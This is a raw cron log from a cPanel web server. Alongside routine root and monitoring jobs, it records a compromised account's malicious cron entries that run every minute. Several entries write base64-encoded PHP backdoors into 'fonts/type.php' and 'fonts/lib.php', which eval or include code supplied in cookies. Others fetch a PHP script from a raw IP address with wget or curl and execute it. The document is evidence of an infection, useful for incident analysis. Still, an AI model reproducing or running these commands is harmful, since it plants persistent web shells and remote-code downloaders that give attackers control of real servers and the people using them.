Aug 30 16:43:01 ip-184-168-122-23 CROND[11178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:43:01 ip-184-168-122-23 CROND[11180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:44:01 ip-184-168-122-23 CROND[11257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:44:01 ip-184-168-122-23 CROND[11258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:44:01 ip-184-168-122-23 CROND[11262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:44:01 ip-184-168-122-23 CROND[11265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:44:02 ip-184-168-122-23 CROND[11266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:45:01 ip-184-168-122-23 CROND[11347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:45:01 ip-184-168-122-23 CROND[11349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:45:01 ip-184-168-122-23 CROND[11348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:45:01 ip-184-168-122-23 CROND[11353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:45:01 ip-184-168-122-23 CROND[11351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:45:01 ip-184-168-122-23 CROND[11350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:45:01 ip-184-168-122-23 CROND[11354]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11526]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11529]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:46:01 ip-184-168-122-23 CROND[11528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:46:01 ip-184-168-122-23 CROND[11531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:47:01 ip-184-168-122-23 CROND[11646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:47:01 ip-184-168-122-23 CROND[11647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:47:01 ip-184-168-122-23 CROND[11649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:47:01 ip-184-168-122-23 CROND[11651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:48:01 ip-184-168-122-23 CROND[11729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:48:01 ip-184-168-122-23 CROND[11730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:48:01 ip-184-168-122-23 CROND[11733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:48:01 ip-184-168-122-23 CROND[11734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:48:01 ip-184-168-122-23 CROND[11736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:49:02 ip-184-168-122-23 CROND[11821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:49:02 ip-184-168-122-23 CROND[11822]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 16:49:02 ip-184-168-122-23 CROND[11824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:49:02 ip-184-168-122-23 CROND[11823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:49:02 ip-184-168-122-23 CROND[11826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:50:01 ip-184-168-122-23 CROND[11928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:50:01 ip-184-168-122-23 CROND[11933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:50:01 ip-184-168-122-23 CROND[11940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:51:02 ip-184-168-122-23 CROND[12062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:51:02 ip-184-168-122-23 CROND[12064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:51:02 ip-184-168-122-23 CROND[12066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:51:02 ip-184-168-122-23 CROND[12065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:52:01 ip-184-168-122-23 CROND[12241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:52:01 ip-184-168-122-23 CROND[12243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:52:01 ip-184-168-122-23 CROND[12242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:52:01 ip-184-168-122-23 CROND[12244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:52:01 ip-184-168-122-23 CROND[12245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:53:01 ip-184-168-122-23 CROND[12324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:53:01 ip-184-168-122-23 CROND[12326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:53:01 ip-184-168-122-23 CROND[12328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:53:01 ip-184-168-122-23 CROND[12327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:54:01 ip-184-168-122-23 CROND[12420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:54:01 ip-184-168-122-23 CROND[12422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:54:01 ip-184-168-122-23 CROND[12424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:54:01 ip-184-168-122-23 CROND[12423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:54:01 ip-184-168-122-23 CROND[12425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:55:01 ip-184-168-122-23 CROND[12506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:55:01 ip-184-168-122-23 CROND[12509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:55:01 ip-184-168-122-23 CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
